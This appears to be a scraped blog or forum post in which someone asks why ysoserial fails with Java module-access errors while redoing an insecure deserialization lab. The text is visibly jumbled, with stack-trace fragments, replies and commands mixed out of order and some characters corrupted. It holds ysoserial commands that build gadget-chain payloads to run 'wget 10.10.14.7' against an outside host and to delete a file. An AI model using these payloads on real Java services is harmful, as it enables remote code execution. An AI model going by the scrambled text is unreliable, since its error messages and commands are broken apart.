~ % java -jar ysoserial-all.jar CommonsCollections4 "test" Recently I have also completed lab with insecure deserialization, however now ysoserial showing me this: ❯ sudo update-java-alternatives -set /usr/lib/jvm/java-1.11.0-openjdk-amd64 OpenJDK 64-Bit Server VM (build 17.0.6+10-Debian-1, mixed mode, sharing) OpenJDK Runtime Environment (build 17.0.6+10-Debian-1) Picked up _JAVA_OPTIONS: eSystemAAFontSettings=on -Dswing.aatext=trueĪt (CommonsBeanutils1.java:20) ❯ java -jar ysoserial-all.jar CommonsBeanutils1 'wget 10.10.14.7' | base64 -w 0 Hi Pietro and who else are worrying about using different version, : class (in unnamed module cannot access class .TemplatesImpl (in module java.xml) because module java.xml does not export. to unnamed module .createTemplatesImpl(Gadgets.java:102)Īt (CommonsCollections4.java:32)Īt (CommonsCollections4.java:26)Īt (GeneratePayload.java:34) Java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64Įrror while generating or serializing payload Hopefully somebody knows what could be happening. I was looking its tab and I saw that it says: "recent Java major version does not allow to run ysoserial properly" so I don't know what to do. Maybe it's because I installed the deserialization scanner plugin. I already completed the lab "Exploiting Java deserialization with Apache Commons" weeks ago and now I wanted to do it again but it doesn't work because I get a java error when I execute ysoserial.
0 Comments
Leave a Reply. |
Details
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |